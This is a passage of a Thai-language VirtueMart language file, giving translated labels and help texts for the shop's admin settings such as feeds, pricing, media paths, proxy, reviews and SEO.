หลายผู้จำหน่าย (ทดลองสำหรับผู้พัฒนาเท่านั้น)" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_ADMIN="บริหารระบบ หลายผู้จำหน่าย" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_EXPLAIN="เปิดใช้งานฟังก์ชันนี้เท่านั้น เมื่อคุณสามารถโค้ด php และรู้ว่าจะทำอย่างไร นี้เป็นเพียงตัวเลือกเพื่อเปิดใช้งาน หลายผู้จำหน่าย สำหรับการปรับแต่ง" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_NONE="ไม่มี" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES="สร้างและส่งใบกำกับสินค้าในรูปแบบไฟล์ pdf" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES_EXPLAIN="สำหรับคุณสมบัตินี้เป็นสิ่งสำคัญที่คุณกำหนดพาธที่ปลอดภัยของคุณได้อย่างถูกต้อง" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE="หน้าข้อผิดพลาด" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE_EXPLAIN="ส่วนนี้คือหน้าเว็บเริ่มต้นสำหรับแสดงข้อความแจ้งข้อผิดพลาดต่างๆ" COM_VIRTUEMART_ADMIN_CFG_EXPLAIN="โปรดทราบว่าแคชเซสชั่นมีการใช้งานสำหรับการกำหนดค่าและอายุการใช้งาน 500 นาที การเปลี่ยนแปลงของคุณใช้เวลานานถึง 5 นาทีที่จะส่งผลกระทบต่อเซสชันทั้งหมด,รวมถึงเซสชั่นของคุณ เพื่อสร้างเซสชั่นใหม่เพียงออกจากระบบและเข้าสู่ระบบอีกครั้ง" COM_VIRTUEMART_ADMIN_CFG_FEATURED_PRODUCTS_PER_ROW="จำนวนเริ่มต้นสำหรับใช้แสดงรายการสินค้าที่น่าสนใจในหนึ่งแถว" COM_VIRTUEMART_ADMIN_CFG_FEATURED_PRODUCTS_PER_ROW_EXPLAIN="กำหนดจำนวนรายการสินค้าที่น่าสนใจในหนึ่งแถว
            " COM_VIRTUEMART_ADMIN_CFG_FEEDTAB="การกำหนดค่าฟีด" COM_VIRTUEMART_ADMIN_CFG_FEED_CACHE="ตั้งค่า Feed Cache" COM_VIRTUEMART_ADMIN_CFG_FEED_CACHETIME="ช่วงเวลาการทำแคช (วินาที)" COM_VIRTUEMART_ADMIN_CFG_FEED_CACHE_TIP="การใช้แคชดึงข้อมูลให้เร็วขึ้นและลดภาระของเซิร์ฟเวอร์,เนื่องจากตัวดึงข้อมูลจะสร้างเดียวและบันทึกเป็นแฟ้มครั้งเท่านั้น " COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE="ชนิดของคำอธิบายเกี่ยวกับสินค้า" COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE_TIP="เลือกชนิดของคำอธิบายเกี่ยวกับสินค้าที่ต้องการรวมอยู่เนื้อหาของ Feed " COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE="เปิดใช้งานระบบ feed ของสินค้า" COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE_TIP="หากเปิดใช้ ผู้ซื้อสามารถสมัครรับข้อมูล feed ที่จะแสดงเนื้อหาของรายการสินค้าล่าสุด (จากหมวดหมู่ทั้งหมดหรือหมวดหมู่ที่เลือก) ในร้านค้าของคุณ" COM_VIRTUEMART_ADMIN_CFG_FEED_LIMITTEXT="จำกัดความยาวของคำอธิบาย?" COM_VIRTUEMART_ADMIN_CFG_FEED_MAX_TEXT_LENGTH="ความยาวสูงสุดของคำอธิบาย" COM_VIRTUEMART_ADMIN_CFG_FEED_SETTINGS="ตั้งค่า Feed" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC="แสดงคำอธิบายสินค้าด้วย?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC_TIP="หากเปิดใช้, คำอธิบายเกี่ยวกับสินค้าจะถูกแสดงในรายการฟีดด้วย" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES="แสดงรูปภาพในเนื้อหา feed?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES_TIP="หากเปิดใช้ รูปขนาดย่อจะถูกนำไปแสดงในเนื้่อหาของรายการฟีด" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES="แสดงราคาสินค้าในคำอธิบายเกี่ยวกับสินค้า" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES_TIP="หากเปิดใช้ ราคามาตรฐานสำหรับสินค้ัาจะถูกเพิ่มเข้าไปยังคำอธิบายเกี่ยวกับสินค้า" COM_VIRTUEMART_ADMIN_CFG_FEED_TITLE="ชื่อ Feed" COM_VIRTUEMART_ADMIN_CFG_FEED_TITLE_CATEGORIES="ชื่อ Feed สำหรับหมวดหมู่" COM_VIRTUEMART_ADMIN_CFG_FEED_TITLE_CATEGORIES_TIP="ชื่อลิงก์ Feed ข้อมูลจากหมวดหมู่ ({catname} เป็นตัวยึดสำหรับชื่อหมวดหมู่, {storename} จะใช้แทนชื่อร้านค้าของคุณ)" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN="อนุญาตให้ใช้ หน้าผู้ดูแลระบบ สำหรับ ผู้ใช้ที่ไม่ได้รับอนุญาตในหน้าผู้ดูแลระบบ" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN_EXPLAIN="ด้วยการตั้งค่านี้ คุณสามารถเปิดใช้งานใน หน้าผู้ดูแลระบบ สำหรับผู้ใช้ที่" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS="ใช้สไตล์ CSS จากใน VirtueMart" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS="เปิดใช้งานสไตล์ชีท Css & จาวาสคริปต์" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS_TIP="การระงับการใช้ังานสคริปต์นี้ จำเป็นต้องมีการติดตั้งสคริปต์แทนที่อยู่ในเทมเพลทของคุณด้วย.
            มิฉะนั้นแล้วร้านค้าของคุณจะไม่สามารถทำงานได้ตามปกติ " COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_TIP="ใช้การออกแบบต้นฉบับของ Virtuemart CSS" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE="การใช้สคริปต์ผลิตภัณฑ์" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE_TIP="สคริปต์เหล่านี้จำเป็นต้องมีการดำเนินการที่ซับซ้อนเกี่ยวกับสินค้าในตะกร้าและราคา!
            คุณจะสูญเสียฟังก์ชั่นการทำงานภายในที่เป็นมาตรฐาน หากมีการปิดใช้งานสคริปต์ตัวนี้" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY="ใช้ Virtue mart jQuery" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY_TIP="ในการแก้ไขปัญหาที่เกิดขึ้นระหว่าง VirtueMart และ เทมเพลท / คอมโพเนนท์ / โมดูล, คุณสามารถปิดการใช้งานไลบรารี่ jQuery ที่ใช้งานภายในระบบได้ " COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE="ใช้สคริปต์ ajax สำหรับ ประเทศ/ภูมิภาค" COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE_TIP="การอัพเดทข้อมูลเชิงซ้อนสำหรับ ประเทศ/ภูมิภาค ของคุณจะไม่สามารถทำงานได้โดยปราศจากสคริปต์ตัวนี้
            กรุณาตรวจสอบให้แน่ใจว่าสคริปต์ดังกล่าวนี้จะไม่ได้ส่งผลกระทบกับการทำงานตามปกติของเว็บไซต์ของคุณ" COM_VIRTUEMART_ADMIN_CFG_GD_MISSING="การปรับขนาดรูปภาพเชิงซ้อนไม่สามารถใช้งานได้ เนื่องจากไลบรารี่ GD เกิดการสูญหาย" COM_VIRTUEMART_ADMIN_CFG_HOMEPAGE_SETTINGS="ตั้งค่า VirtueMart โฮมเพจ" COM_VIRTUEMART_ADMIN_CFG_JOOMLA_TEMPLATE_DEFAULT="ใช้ค่าเริ่มต้นของ joomla" COM_VIRTUEMART_ADMIN_CFG_LANGFIX="การซ่อมแซมภาษาสำหรับจาวาสคริปต์" COM_VIRTUEMART_ADMIN_CFG_LANGFIX_EXPLAIN="เปิดใช้งานตัวซ่อมแซมภาษาสำหรับจาวาสคริปต์ เพื่อใช้งานกับ Joomla ในบางรุ่น" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT="รูปแบบของเมล์สั่งซื้อ" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_EXPLAIN="ส่วนนี้เป็นส่วนของการตั้งค่าอีเมลยืนยันคำสั่งซื้อของคุณ" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_HTML="อีเมลแบบ HTML" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_TEXT="อีเมลแบบ ข้อความ" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT="รับอีเมลจากผู้ขายที่มีที่อยู่ผู้รับ" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT_EXPLAIN="โดยปกติแล้วผู้ขายจะได้รับอีเมลจากที่อยู่อีเมลในระบบของ Joomla หากคุณกำหนดเป็นตัวเลือกนี้ คุณจะได้รับอีเมลที่มาจากที่อยู่ผู้รับ กำหนดตัวเลือกนี้ หากคุณแน่ใจจริงๆว่าคุณกำลังทำอะไรอยู่ หากมีข้อสงสัย กรุณาอย่าสลับมาใช้พารามิเตอร์นี้" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER="ที่อยู่ผู้รับถูกกำหนดเป็นผู้ส่ง, ไม่ใช่ ตอบกลับไปยัง" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER_EXPLAIN="หากเลือก, ที่อยู่อีเมลของผู้รับจะถูกกำหนดเป็นผู้ส่ง หากไม่, ผู้รับจะถูกส่งเป็นที่อยู่สำหรับการตอบกลับ กำหนดตัวเลือกนี้หากคุณแน่ใจจริงๆว่าคุณกำลังทำอะไรอยู่ หากมีข้อสงสัย, กรุณาอย่าสลับมาใช้พารามิเตอร์นี้" COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT="เค้าโครงสำหรับหน้าแรกของคุณ" COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT_TIP="เป็นเค้าโครงเริ่มต้นสำหรับหน้าโฮมเพจหรือหน้าแรกของคุณ" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW="จำนวนเริ่มต้นสำหรับรายชื่อผู้ผลิตในหนึ่งแถว" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW_EXPLAIN="กำหนดจำนวนผู้ผลิตในหนึ่งแถว
            " COM_VIRTUEMART_ADMIN_CFG_MAX_TEXT_LENGTH_TIP="ความยาวสูงสุดของคำอธิบายเกี่ยวกับสินค้าในรายการฟีดแต่ละรายการ" COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH="ตำแหน่งพาธไฟล์มีเดียของหมวดหมู่" COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH_EXPLAIN="ตำแหน่งพาธที่ใช้เก็บรูปภาพของหมวดหมู่ เลือกกำหนดว่าสามารถใช้ตำแหน่งพาธที่ใช้เก็บรูปภาพที่อยู่ใน Joomla ได้หรือไม่" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH="พาธที่ปลอดภัย" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_EXPLAIN="ตำแหน่งพาธของสินค้าประเภทดาวน์โหลดสำหรับขายและใบกำกับสินค้าของคุณ ตำแหน่งพาธดังกล่าวนี้หมายถึงตำแหน่ง root ของไฟล์, ไม่ใช่ตำแหน่ง root ของ Joomla. กรุณาจำไว้ว่าคุณต้องกรอกตำแหน่งพาธที่แท้จริงลงที่นี่ และตำแหน่งดังกล่าวควรจะ (ไม่ถึงกับจำเป็นต้องทำ) อยู่นอกไดเร็กทอรี่ของโดเมนของคุณ (httpdocs)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB="ตำแหน่ง url ของรูปขนาดย่อสำหรับไฟล์มีเดียที่ต้องการขาย" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB_EXPLAIN="เป็นแนวความคิดที่ต้องการให้คุณสามารถแสดงสินค้าประเภทดาวน์โหลดของคุณโดยการใช้รูปขนาดย่อที่คุณสามารถเลือกได้ด้วยตัวเอง, ซึ่งจะเป็นที่อยู่ URL ตามปกติ" COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH="ตำแหน่งพาธไฟล์มีเดียของผู้ผลิตสินค้า" COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH_EXPLAIN="ตำแหน่งพาธรูปภาพของผู้ผลิตสินค้า" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH="ตำแหน่งพาธไฟล์มีเดียสินค้า" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH_EXPLAIN="ตำแหน่งพาธรูปภาพของสินค้า" COM_VIRTUEMART_ADMIN_CFG_MEDIA_TITLE="ตั้งค่าไฟล์มีเดีย" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH="ตำแหน่งพาธไฟล์มีเดียสำหรับผู้ขาย" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH_EXPLAIN="ตำแหน่งพาธรูปภาพของผู้ขาย" COM_VIRTUEMART_ADMIN_CFG_MORE_CORE_SETTINGS="ตั้งค่าระบบแกนหลัก" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE="ร้านค้าหลายภาษา" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE_EXPLAIN="เปิดใช้งานระบบการแปลหลายภาษา" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND="รูปภาพสำหรับ 'ยังไม่มีรูปภาพสินค้า'" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND_EXPLAIN="ซึ่งหมายความ ว่า ไม่พบพาธที่กำหนดรูปภาพ" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE="รูปภาพสำหรับ 'ยังไม่มีรูปภาพ'" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE_EXPLAIN="รูปนี้จะถูกแสดงเมื่อผลิตภัณฑ์ที่ไม่มีรูปภาพพร้อมใช้งาน" COM_VIRTUEMART_ADMIN_CFG_NO_OVERRIDE="ไม่มีการเขียนทับ" COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS="สถานะการสั่งซื้อที่ปิดใช้งานการดาวน์โหลด" COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS_EXPLAIN="ตั้งค่าสถานะการสั่งซื้อ ที่ดาวน์โหลดจะถูกปิดใช้งานสำหรับ ผู้บริโภค" COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS="สถานะการสั่งซื้อเปิดการใช้งานดาวน์โหลด" COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS_EXPLAIN="เลือกสถานะของคำสั่งซื้อที่ต้องการให้ผู้ซื้อได้รับการแจ้งเตือนเกี่ยวกับการดาวน์โหลดสินค้าผ่านทางอีเมล" COM_VIRTUEMART_ADMIN_CFG_PAGINATION_SEQUENCE="ตั้งค่าลำดับการแบ่งหน้าสำหรับ กล่องรายการ" COM_VIRTUEMART_ADMIN_CFG_PAGINATION_SEQUENCE_EXPLAIN="ตั้งค่ารายการตัวเลขคั่นระหว่างรายการด้วยเครื่องหมายจุลภาค หรือคอมม่า ที่ต้องการให้แสดงในช่องรายการทางส่วนด้านหน้าของระบบ
            ตัวอย่าง: 6,12, 18, 24
            " COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON="ปุ่ม PDF" COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON_EXPLAIN="แสดง หรือซ่อน ปุ่ม PDF ในร้านค้า" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_ADD="แสดงข้อความ 'แจ้งเตือนฉัน' แทนที่ปุ่มกด 'เพิ่มเข้ารถเข็น'" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT="ไม่ต้องแสดงสินค้า" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT_CHILDREN="ไม่ต้องแสดงสินค้า, หากสินค้าลูกไม่มีอยู่ในสต็อค" COM_VIRTUEMART_ADMIN_CFG_POOS_NONE="สามารถสั่งซื้อสินค้าที่หมดสต็อคแล้วได้, โดยไม่ต้องทำอะไรพิเศษ" COM_VIRTUEMART_ADMIN_CFG_POOS_RISE_AVATIME="สามารถสั่งซื้อสินค้าที่หมดสต็อคแล้วได้, และช่องรับข้อมูล 'สินค้ามีจำหน่าย' ด้านล่างจะถูกแสดงให้เห็ฯ" COM_VIRTUEMART_ADMIN_CFG_PRICES="แสดงราคาต่อไปนี้" COM_VIRTUEMART_ADMIN_CFG_PRICES_INCLUDE_TAX="แสดงราคารวมภาษี?" COM_VIRTUEMART_ADMIN_CFG_PRICES_LABEL="แสดงราคา" COM_VIRTUEMART_ADMIN_CFG_PRICES_ROUNDING="ปัดเศษตัวเลข" COM_VIRTUEMART_ADMIN_CFG_PRICES_TEXT="แสดงป้ายชื่อ" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL="กลุ่มสมาชิกที่จะแสดงราคาเพื่อ" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL_TIP="เลือกกลุ่มสมาชิกและกลุ่มทั้งหมดที่มีสิทธิ์สูงกว่าจะสามารถมองเห็นราคาสินค้า" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE="เรียกดูราคา เมื่อไม่มีการติดราคา" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE_TIP="อาจจะเป็นไปได้ที่จะทำให้ผู้ใช้ขอเสนอให้คุณในราคานี้ เมื่อคุณไม่ต้องการที่จะเผยแพร่" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE="ฐานราคา" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_EXPLAIN="ขึ้นอยู่กับว่าคุณทำกำไร / คำนวณอัตรากำไรของคุณ มันเป็นทั้งราคาต้นทุนหรือราคาที่คุณคำนวณได้" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR="เปลี่ยนแปลงฐานราคาใหม่ โดยเลือกตามตัวแปรผลิตภัณฑ์" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR_EXPLAIN="ต้นทุนที่ได้รับการแก้ไขโดยเลือกตัวแปรสินค้า" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX="ต้นทุนกับภาษี แต่ไม่มีส่วนลด" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX_EXPLAIN="มีประโยชน์สำหรับการแสดงราคาเก่าที่ยังไม่มีส่วนลด" COM_VIRTUEMART_ADMIN_CFG_PRICE_CONFIGURATION="การกำหนดราคาสินค้า" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX="ราคาที่ลดแล้วและยังไม่รวมภาษี" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX_EXPLAIN="นี้เป็นที่น่าสนใจสำหรับผู้ประกอบการและร้านค้า ธุรกิจกับธุรกิจ (B2B) " COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT="จำนวนส่วนลด" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT_EXPLAIN="มีประโยชน์สำหรับผู้ที่ต้องการประหยัดเงิน" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE="ราคาขาย สุดท้าย" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_EXPLAIN="นี่คือราคาที่ผู้ซื้อจะต้องชำระจริง" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD="ราคาขายที่มีส่วนลด แต่ไม่มีการแทนที่" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD_EXPLAIN="ส่วนนี้เป็นส่วนที่เหมือนกันกับราคาขาย, ยกเว้นคุณมีการใช้ตัวเลือกที่มีการระบุให้สามารถเขียนทับข้อมูลลงในสินค้าได้" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX="ราคาขายที่ไม่มีภาษี" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX_EXPLAIN="นี้เป็นที่น่าสนใจสำหรับผู้ประกอบการและร้านค้า ธุรกิจกับธุรกิจ (B2B) " COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL="แสดงป้ายราคาสำหรับการบรรจุหีบห่อ?" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL_TIP="หากเลือกค่านี้ จะแสดงป้ายราคาที่ได้จากหน่วยสินค้าและค่าบรรจุหีบห่อ" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX="แสดงภาษีในรถเข็น" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX_TIP="แสดงรายละเอียดภาษีในรถเข็น" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT="จำนวนภาษี" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT_EXPLAIN="แสดงเฉพาะภาษี" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE="ราคาที่ได้รับการปรับให้เป็นมาตรฐานแล้ว" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE_EXPLAIN="ราคามาตรฐานสำหรับสินค้าที่ถูกขายในหน่วยต่างๆ ตัวอย่างเช่น ในหน่วย มิลลิกรัม, ลิตร, กิโลกรัม เป็นต้น" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD="แก้ไขต้นทุนราคา (ฐานราคา)" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD_EXPLAIN="ตัวปรับราคาของราคาฐานตามค่าตัวแปรของสินค้าที่เลือก" COM_VIRTUEMART_ADMIN_CFG_PRICINGTAB="ราคา" COM_VIRTUEMART_ADMIN_CFG_PRODUCTORDERTAB="ตั้งค่าการสั่งซื้อสินค้า" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW="จำนวนเริ่มต้นของสินค้าในหนึ่งแถว" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW_EXPLAIN="กำหนดจำนวนสินค้าในหนึ่งแถว
            " COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT="เค้าโครงหน้าสินค้า" COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT_EXPLAIN="เป็นเค้าโครงเริ่มต้นสำหรับแสดงหน้ารายละเอียดสินค้า" COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS="รหัสผ่านพร็อกซี่" COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS_TIP="หากพร็อกซี่ดังกล่าว จำเป็นต้องมีการตรวจสอบเพื่อยืนยันตัวบุคคล กรุณากรอกรหัสผ่านที่ถูกต้องลงที่นี่" COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT="พอร์ตพร็อกซี่" COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT_TIP="พอร์ตที่ใช้ในการสื่อสารกับเซิร์ฟเวอร์พร็อกซี่ (มักใช้เป็น 80 หรือ 8080)" COM_VIRTUEMART_ADMIN_CFG_PROXY_SETTINGS="ตั้งค่าพร็อกซี่โดยรวมของระบบ" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL="ที่อยู่ URL ของพร็อกซี่เซิร์ฟเวอร์" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL_TIP="ตัวอย่าง" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER="ชื่อผู้ใช้ พร็อกซี่" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER_TIP="หากพร็อกซี่ดังกล่าว จำเป็นต้องมีการตรวจสอบเพื่อยืนยันตัวบุคคล กรุณากรอกชื่อผู้ใช้งานของคุณลงที่นี่" COM_VIRTUEMART_ADMIN_CFG_RATING="เปิดใช้ระบบการโหวตให้คะแนนสำหรับ" COM_VIRTUEMART_ADMIN_CFG_RATING_EXPLAIN="หากเปิดใช้, จะเป็นการอนุญาตให้ผู้ซื้อสามารถมองเห็น คะแนนโหวตสินค้า." COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_ALL="ทุกคน" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_BOUGHT_PRODUCT="ผู้ซื้อที่เลือกซื้อสินค้า" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_NONE="ปิดใช้งาน" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_REGISTERED="ลงทะเบียนแล้ว" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW="แสดงคะแนนโหวต" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_ALL="ถึงทุกคน" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_EXPLAIN="หากเปิดใช้, จะเป็นการอนุญาตให้ผู้ซื้อสามารถ โหวตให้คะแนน สินค้าได้" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_NONE="ไม่มี" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_REGISTERED="ไปยังผู้ใช้งานที่สมัครลงทะเบียน" COM_VIRTUEMART_ADMIN_CFG_REVIEW="เปิดใช้ระบบการโหวตให้คะแนนสำหรับ" COM_VIRTUEMART_ADMIN_CFG_REVIEW_EXPLAIN="หากเปิดใช้, จะเป็นการอนุญาตให้ผู้ซื้อสามารถ โหวตให้คะแนนสินค้า และ แสดงความคิดเห็น เกี่ยวกับสินค้าได้.
            " COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH="ความยาวตัวอักษรสูงสุดในความคิดเห็น" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH_TIP="จำนวนตัวอักษรสูงสุดที่ผู้ซื้อสามารถเขียนความคิดเห็นได้" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH="ความยาวตัวอักษรน้อยสุดของความคิดเห็น" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH_TIP="จำนวนตัวอักษรน้อยสุดที่ผู้ซื้อต้องเขียนลงในข้อความแสดงความคิดเห็นก่อนที่บทวิจาร์ณสินค้าดังกล่าวจะถูกส่งข้อมูล" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_ALL="ทุกคน" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_BOUGHT_PRODUCT="ผู้ซื้อที่เลือกซื้อสินค้า" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_NONE="ปิดใช้งาน" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_REGISTERED="ไปยังผู้ใช้งานที่สมัครลงทะเบียน" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW="แสดงบทวิจารณ์สินค้า" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_ALL="แสดงให้กับทุกคน" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_EXPLAIN="หากเปิดใช้, จะเป็นการอนุญาตให้ผู้ซื้อสามารถ อ่านความคิดเห็น เกี่ยวกับสินค้าได้." COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_NONE="ไม่ต้องแสดง" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_REGISTERED="แสดงเฉพาะผู้ใช้งานที่ลงทะเบียน" COM_VIRTUEMART_ADMIN_CFG_REVIEW_TITLE="พิจารณาผู้บริโภค/ระบบจัดอันดับการให้คะแนน" COM_VIRTUEMART_ADMIN_CFG_SEF="SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE="ปิดใช้งาน SEO แล้ว" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE_TIP="หากเลือก ระบบ SEO จะถูกปิดการใช้งานไว้ เมื่อไม่มีการเลือก จะเป็นการเปิดใช้งานระบบ SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE="เปิดใช้งานระบบ SEO สำหรับ VirtueMart" COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE_TIP="เปิดใช้งาน ไฟล์ router.php ของ VirtueMart" COM_VIRTUEMART_ADMIN_CFG_SEO_SETTINGS="ตั้งค่า SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX="คำแนบท้ายชื่อ SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX_TIP="คำแนบท้ายชื่อ SEO ที่จะถูกเพิ่มแนบท้ายชื่อ URL ของสินค้า" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE="ตั้งค่าการแปลภาษา" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE_TIP="หากเปิดใช้, ชื่อ URL จะใช้ไฟล์ภาษาของชุดข้อความใน VirtueMart ใส่ลงในชื่อที่อยู่ URL มิฉะนั้น URL ดังกล่าวจะถูกสร้างขึ้นโดยใช้ชุดข้อความเริ่มต้นที่กำหนดไว้" 